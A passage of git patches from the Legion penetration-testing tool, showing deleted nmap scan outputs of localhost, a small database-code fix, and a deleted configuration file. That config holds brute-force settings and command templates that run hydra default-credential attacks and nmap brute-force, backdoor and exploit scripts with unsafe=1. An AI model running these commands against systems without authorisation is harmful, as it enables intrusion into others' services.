14:48:59 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144857577797-nmapstage3 127.0.0.1 -Host: 127.0.0.1 () Status: Up -Host: 127.0.0.1 () Ports: 21/closed/tcp//ftp///, 22/closed/tcp//ssh///, 23/closed/tcp//telnet///, 110/closed/tcp//pop3///, 111/closed/tcp//rpcbind///, 2049/closed/tcp//nfs///, 3389/closed/tcp//ms-wbt-server///, 8080/closed/tcp//http-proxy///, 500/open|filtered/udp//isakmp///, 5060/open|filtered/udp//sip/// -# Nmap done at Mon Feb 25 14:49:10 2019 -- 1 IP address (1 host up) scanned in 11.75 seconds diff --git a/test-tool-output/nmap/20190225144857577797-nmapstage3.nmap b/test-tool-output/nmap/20190225144857577797-nmapstage3.nmap deleted file mode 100644 index d61a2216..00000000 --- a/test-tool-output/nmap/20190225144857577797-nmapstage3.nmap +++ /dev/null @@ -1,17 +0,0 @@ -# Nmap 7.70 scan initiated Mon Feb 25 14:48:59 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144857577797-nmapstage3 127.0.0.1 -Nmap scan report for 127.0.0.1 -Host is up (0.00s latency). - -PORT STATE SERVICE -21/tcp closed ftp -22/tcp closed ssh -23/tcp closed telnet -110/tcp closed pop3 -111/tcp closed rpcbind -2049/tcp closed nfs -3389/tcp closed ms-wbt-server -8080/tcp closed http-proxy -500/udp open|filtered isakmp -5060/udp open|filtered sip - -# Nmap done at Mon Feb 25 14:49:10 2019 -- 1 IP address (1 host up) scanned in 11.75 seconds diff --git a/test-tool-output/nmap/20190225144857577797-nmapstage3.xml b/test-tool-output/nmap/20190225144857577797-nmapstage3.xml deleted file mode 100644 index d58eee60..00000000 --- a/test-tool-output/nmap/20190225144857577797-nmapstage3.xml +++ /dev/null @@ -1,29 +0,0 @@ - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - diff --git a/test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap b/test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap deleted file mode 100644 index cd133e38..00000000 --- a/test-tool-output/nmap/20190225144912494057-nmapstage4.gnmap +++ /dev/null @@ -1,4 +0,0 @@ -# Nmap 7.70 scan initiated Mon Feb 25 14:49:15 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144912494057-nmapstage4 127.0.0.1 -Host: 127.0.0.1 () Status: Up -Host: 127.0.0.1 () Ports: 1536/open/tcp//ampr-inter///, 1537/open/tcp//sdsc-lm///, 1538/open/tcp//3ds-lm///, 1539/open/tcp//intellistor-lm///, 1545/open/tcp//vistium-share///, 1546/open/tcp//abbaccuray///, 2179/open/tcp//vmrdp///, 5040/open/tcp//unknown///, 6000/open/tcp//X11///, 16423/open/tcp/////, 16723/open/tcp//unknown/// Ignored State: closed (29971) -# Nmap done at Mon Feb 25 14:49:24 2019 -- 1 IP address (1 host up) scanned in 11.43 seconds diff --git a/test-tool-output/nmap/20190225144912494057-nmapstage4.nmap b/test-tool-output/nmap/20190225144912494057-nmapstage4.nmap deleted file mode 100644 index 25744ebe..00000000 --- a/test-tool-output/nmap/20190225144912494057-nmapstage4.nmap +++ /dev/null @@ -1,20 +0,0 @@ -WARNING: UDP scan was requested, but no udp ports were specified. Skipping this scan type. -# Nmap 7.70 scan initiated Mon Feb 25 14:49:15 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144912494057-nmapstage4 127.0.0.1 -Nmap scan report for 127.0.0.1 -Host is up (0.00s latency). -Not shown: 29971 closed ports -PORT STATE SERVICE -1536/tcp open ampr-inter -1537/tcp open sdsc-lm -1538/tcp open 3ds-lm -1539/tcp open intellistor-lm -1545/tcp open vistium-share -1546/tcp open abbaccuray -2179/tcp open vmrdp -5040/tcp open unknown -6000/tcp open X11 -|_x11-access: X server access is granted -16423/tcp open unknown -16723/tcp open unknown - -# Nmap done at Mon Feb 25 14:49:24 2019 -- 1 IP address (1 host up) scanned in 11.43 seconds diff --git a/test-tool-output/nmap/20190225144912494057-nmapstage4.xml b/test-tool-output/nmap/20190225144912494057-nmapstage4.xml deleted file mode 100644 index 309b7163..00000000 --- a/test-tool-output/nmap/20190225144912494057-nmapstage4.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - - - - diff --git a/test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap b/test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap deleted file mode 100644 index 23b9a955..00000000 --- a/test-tool-output/nmap/20190225144927730202-nmapstage5.gnmap +++ /dev/null @@ -1,4 +0,0 @@ -# Nmap 7.70 scan initiated Mon Feb 25 14:49:28 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:30000-65534,65535 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144927730202-nmapstage5 127.0.0.1 -Host: 127.0.0.1 () Status: Up -Host: 127.0.0.1 () Status: Up -# Nmap done at Mon Feb 25 14:49:39 2019 -- 1 IP address (1 host up) scanned in 10.88 seconds diff --git a/test-tool-output/nmap/20190225144927730202-nmapstage5.nmap b/test-tool-output/nmap/20190225144927730202-nmapstage5.nmap deleted file mode 100644 index ffc44375..00000000 --- a/test-tool-output/nmap/20190225144927730202-nmapstage5.nmap +++ /dev/null @@ -1,7 +0,0 @@ -WARNING: UDP scan was requested, but no udp ports were specified. Skipping this scan type. -# Nmap 7.70 scan initiated Mon Feb 25 14:49:28 2019 as: C:\Program Files (x86)\Nmap\nmap.exe -T4 -sC -n -sSU -p T:30000-65534,65535 -oA ./tmp/legion-1nytmlta-running/nmap/20190225144927730202-nmapstage5 127.0.0.1 -Nmap scan report for 127.0.0.1 -Host is up (0.00040s latency). -All 35536 scanned ports on 127.0.0.1 are closed - -# Nmap done at Mon Feb 25 14:49:39 2019 -- 1 IP address (1 host up) scanned in 10.88 seconds diff --git a/test-tool-output/nmap/20190225144927730202-nmapstage5.xml b/test-tool-output/nmap/20190225144927730202-nmapstage5.xml deleted file mode 100644 index 8cf41271..00000000 --- a/test-tool-output/nmap/20190225144927730202-nmapstage5.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - - - - -
- - - - - - - - - - - diff --git a/test.legion b/test.legion deleted file mode 100644 index cd076009ad57e2cbc0127b898b0bde0349cf9797..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 20480 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 From 7d2078ebff4e923bafe0d3b03b7ddbfa2ae15ec8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 16:18:13 -0600 Subject: [PATCH 141/450] Fixed restore tabs --- app/logic.py | 20 +- backup/20190225112609079404-legion.conf | 309 ------------------------ controller/controller.py | 2 +- db/database.py | 7 +- legion.conf | 2 +- ui/view.py | 3 +- 6 files changed, 16 insertions(+), 327 deletions(-) delete mode 100644 backup/20190225112609079404-legion.conf diff --git a/app/logic.py b/app/logic.py index 93bb0404..ac0f5ab4 100644 --- a/app/logic.py +++ b/app/logic.py @@ -356,11 +356,15 @@ def getProcessesFromDB(self, filters, showProcesses='noNmap', sort = 'desc', nco result = self.db.metadata.bind.execute(query).fetchall() elif showProcesses == False: # when opening a project, fetch only the processes that have display=false and were not in tabs that were closed by the user - query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, poutput.output FROM process AS process ' - 'INNER JOIN process_output AS poutput ON process.id = poutput.process_id ' + query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, output.output FROM process AS process ' + 'INNER JOIN process_output AS output ON process.id = output.process_id ' 'WHERE process.display=? AND process.closed="False" order by process.id desc') result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() + #query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, output.output FROM process AS process ' + #'INNER JOIN process_output AS output ON process.id = output.process_id ' + #'WHERE process.display=? AND process.closed="False" order by process.id desc') + else: # show all the processes in the (bottom) process table (no matter their closed value) query = ('SELECT * FROM process AS process WHERE process.display=? order by {0} {1}'.format(ncol, sort)) result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() @@ -404,7 +408,7 @@ def toggleHostCheckStatus(self, ipaddr): def addProcessToDB(self, proc): log.info('Add process') p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output, 100, 0) + p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', [p_output], 100, 0) log.info(p) session = self.db.session() session.add(p) @@ -414,7 +418,7 @@ def addProcessToDB(self, proc): def addScreenshotToDB(self, ip, port, filename): p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process(0, "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) + p = process(0, "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", [p_output], 2, 0) session = self.db.session() session.add(p) session.commit() @@ -508,8 +512,9 @@ def storeProcessOutputInDB(self, procId, output): session = self.db.session() proc = session.query(process).filter_by(id=procId).first() if proc: - proc_output = session.query(process_output).filter_by(process_id=procId).first() + proc_output = session.query(process_output).filter_by(id=procId).first() if proc_output: + log.info("Storing process output into db: {0}".format(str(proc_output))) proc_output.output=unicode(output) session.add(proc_output) @@ -694,11 +699,6 @@ def run(self): # it is nece if not db_os: t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host.id) session.add(t_nmap_os) - print(os.name) - print(os.family) - print(os.generation) - print(os.os_type) - print(os.vendor) ## CVE #osCves = self.getCveFuzzy(os.name) #print(osCves) diff --git a/backup/20190225112609079404-legion.conf b/backup/20190225112609079404-legion.conf deleted file mode 100644 index 6e9fea5f..00000000 --- a/backup/20190225112609079404-legion.conf +++ /dev/null @@ -1,309 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,0,100,100" - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse 